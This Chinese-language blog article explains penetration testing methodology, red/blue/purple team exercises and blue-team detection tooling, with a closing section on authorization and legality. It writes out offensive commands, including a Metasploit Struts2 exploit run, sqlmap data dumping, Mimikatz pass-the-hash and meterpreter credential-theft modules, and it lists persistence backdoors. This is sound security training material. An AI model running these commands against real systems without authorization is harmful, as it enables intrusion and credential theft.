渗透测试与红蓝对抗

渗透测试方法论:信息收集、漏洞利用、后渗透与权限提升,以及红蓝对抗演练流程、Cobalt Strike/C2 框架、蓝队检测与响应(EDR/SIEM)的完整攻防实践指南。

渗透测试和红蓝对抗是验证组织安全防护有效性的核心手段。渗透测试发现可被利用的漏洞,红蓝对抗则模拟真实攻击者检验整体防御能力。本文系统讲解渗透测试方法论和红蓝对抗实践。


1. 渗透测试方法论(PTES)

1.1 渗透测试执行标准(7 阶段)

┌─────────────────────────────────────────────────────────────┐
│              PTES (Penetration Testing Execution Standard)  │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│ 1. 前期交互      确定范围、规则、目标                        │
│ 2. 情报收集      被动/主动信息收集                           │
│ 3. 威胁建模      识别高价值目标与攻击路径                     │
│ 4. 漏洞分析      扫描、验证、排序                            │
│ 5. 漏洞利用      获取初始访问权限                            │
│ 6. 后渗透        权限提升、横向移动、持久化                   │
│ 7. 报告          风险评级、修复建议                          │
│                                                             │
└─────────────────────────────────────────────────────────────┘

1.2 测试类型对比

类型知情度范围目的时长
黑盒无信息全量模拟外部攻击者2-4 周
灰盒有限信息指定模拟有内鬼/泄露1-3 周
白盒完整信息代码级深度审计1-4 周

2. 情报收集(Reconnaissance)

2.1 被动信息收集

# 域名与子域枚举
subfinder -d example.com -o domains.txt
amass enum -d example.com -o amass.txt

# DNS 记录
dig ANY example.com
host -t ns example.com

# 证书透明度日志
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq .

# WHOIS
whois example.com

# 开源情报(OSINT)
# - GitHub 泄露扫描(truffleHog/gitleaks)
# - 社交媒体员工信息
# - 历史漏洞披露(CVE/Exploit-DB)

2.2 主动信息收集

# 端口扫描
nmap -sS -sV -O -p- --script vuln target.com

# Web 目录枚举
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt

# 技术栈识别
whatweb https://target.com
wappalyzer https://target.com

# 截图(大量目标)
eyewitness --web -f urls.txt -d screenshots

3. 漏洞利用

3.1 漏洞扫描

# 综合扫描
nuclei -l targets.txt -t cves/ -o nuclei-results.txt

# Web 漏洞
nikto -h https://target.com
skipfish -o skipfish_results https://target.com

# API 安全测试
postman collection + fuzzing
burp suite active scan

3.2 Metasploit 框架

# 搜索漏洞
msf6 > search type:exploit name:apache

# 使用 exploit
msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 exploit(struts2_content_type_ognl) > set RHOSTS 192.168.1.10
msf6 exploit(struts2_content_type_ognl) > set RPORT 8080
msf6 exploit(struts2_content_type_ognl) > set TARGETURI /test.action
msf6 exploit(struts2_content_type_ognl) > exploit

# 获取 meterpreter shell
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ls

3.3 Web 应用利用

# SQLMap 自动化 SQL 注入
sqlmap -u "https://target.com/product?id=1" --dump --batch

# XSStrike XSS 检测
python xsstrike.py -u "https://target.com/search?q=test"

# 常用工具链
# Burp Suite: 拦截、重放、爆破
# OWASP ZAP: 自动扫描、主动/被动扫描
# FFUF: 快速模糊测试

4. 后渗透(Post-Exploitation)

4.1 权限提升

# Linux 本地枚举
linpeas.sh
# 检查:
# - SUID 文件
# - 内核漏洞
# - sudo 配置
# - 计划任务
# - 环境变量劫持
# - 可写路径

# 常见提权向量
find / -perm -4000 2>/dev/null  # SUID 文件
sudo -l                          # sudo 权限
uname -r                         # 内核版本
ls -la /etc/cron*                # 计划任务

# Windows
winPEAS.exe
# PowerUp.ps1
# JuicyPotato/PrintSpoofer (Service 账户提权)

4.2 横向移动

# 网络发现
meterpreter > run post/multi/gather/ping_sweep RHOSTS=192.168.1.0/24

# Pass-the-Hash (Windows)
sekurlsa::pth /user:admin /domain:target /ntlm:hash

# SSH 密钥窃取
meterpreter > run post/multi/gather/ssh_creds

# 远程桌面
meterpreter > run post/windows/manage/enable_rdp

4.3 持久化

# Linux 持久化
# - crontab 反弹 shell
# - SSH authorized_keys
# - .bashrc 后门
# - systemd service
# - LD_PRELOAD rootkit

# Windows 持久化
# - 注册表 Run 键
# - WMI 事件订阅
# - 计划任务
# - 服务创建
# - ADS (Alternate Data Streams)

# Cobalt Strike 持久化
# - beacon 植入
# - DLL hijacking
# - COM hijacking

5. 红蓝对抗(Red Team vs Blue Team)

5.1 区别

维度渗透测试红蓝对抗
目标发现漏洞检验检测与响应能力
范围限定不限定(模拟真实 APT)
隐蔽性可被发现尽量不被发现
报告漏洞清单检测盲区、响应时间
持续性短期项目长期持续(数周/月)

5.2 红队流程

阶段1: 初始访问
  - 钓鱼邮件
  - 水坑攻击
  - 供应链攻击
  - 公开服务利用

阶段2: 建立据点(C2)
  - DNS隧道
  - HTTPS C2(域前置)
  - 合法云服务(Slack/Discord/...)通信

阶段3: 潜伏与收集
  - 权限维持
  - 内网侦察
  - 凭证收集

阶段4: 目标达成
  - 敏感数据窃取
  - 勒索软件模拟
  - 关键系统破坏(模拟)

5.3 Cobalt Strike

Cobalt Strike 模块:
- Listener: HTTP/HTTPS/DNS/SMB/TCP
- Payload: Stage/Stageless, x86/x64
- Beacon: 核心 C2 Agent
- Malleable C2: 自定义通信特征(伪装为正常流量)
- Aggressor Scripts: 自动化脚本

5.4 蓝队检测与响应

检测体系:

网络层 ──► IDS/IPS(Suricata/Zeek)
  │         └── 规则检测已知攻击模式
  │
终端层 ──► EDR(CrowdStrike/SentinelOne/Carbon Black)
  │         └── 进程行为分析、内存注入检测
  │
日志层 ──► SIEM(Splunk/ELK/QRadar/Sentinel)
  │         └── 关联分析、异常检测、威胁情报
  │
身份层 ──► IAM 监控(Azure AD/DCA)
            └── 登录异常、权限滥用

5.5 蓝队关键能力

能力工具/方法
威胁狩猎MITRE ATT&CK 框架映射、假设驱动搜索
日志分析KQL/SPL 高级查询
内存取证Volatility / Rekall
网络流量分析Wireshark / Zeek / NetworkMiner
事件响应NIST 800-61 标准流程
威胁情报IOC 共享、ATT&CK 知识库

6. 紫队(Purple Teaming)

紫队 = 红队 + 蓝队协作

目标:
- 红队展示攻击技术
- 蓝队验证检测能力
- 共同改进防御

流程:
1. 红队执行 TTP(战术/技术/流程)
2. 蓝队实时观察检测效果
3. 未检测到的 → 立即改进检测规则
4. 已检测到的 → 优化响应流程
5. 循环迭代

MITRE ATT&CK 框架作为共同语言:
- T1566.001: Spearphishing Attachment
- T1059.003: Windows Command Shell
- T1003.001: LSASS Memory

7. 合法渗透测试要点

7.1 ROE(规则交战)

必须明确定义:
✅ 授权书(书面授权,明确范围)
✅ 目标 IP/域名范围
✅ 测试时间窗口
✅ 可以/不可以做什么
✅ 破坏性测试的限制
✅ 数据处理和保密要求
✅ 紧急联系人和上报流程

7.2 道德与法律

行为合法性
有授权的渗透测试✅ 合法
无授权扫描⚠️ 可能违法(CFAA/网络安全法)
无授权漏洞利用❌ 违法
发现漏洞后勒索❌ 违法

8. 总结

渗透测试与红蓝对抗的价值:

安全测试层次:

漏洞扫描(自动化)
    ↓
渗透测试(人工+工具,发现可利用漏洞)
    ↓
红蓝对抗(检验检测与响应体系)
    ↓
紫队(协作改进防御能力)

┌─────────────────────────────────────────┐
│ 红色(攻击) + 蓝色(防御) → 紫色(协作) │
└─────────────────────────────────────────┘

安全不是静态的。攻击者在不断进化,防御者必须通过持续的测试和演练保持领先。MITRE ATT&CK 框架提供了攻守双方的共同语言,帮助组织系统化地评估和提升安全能力。

继续阅读

探索更多技术文章

浏览归档,发现更多关于系统设计、工具链和工程实践的内容。

全部文章 返回首页

「安全」更多文章

  1. Kubernetes安全体系:RBAC、PodSecurity与NetworkPolicy实战
  2. 安全合规与数据保护
  3. 密钥与凭证管理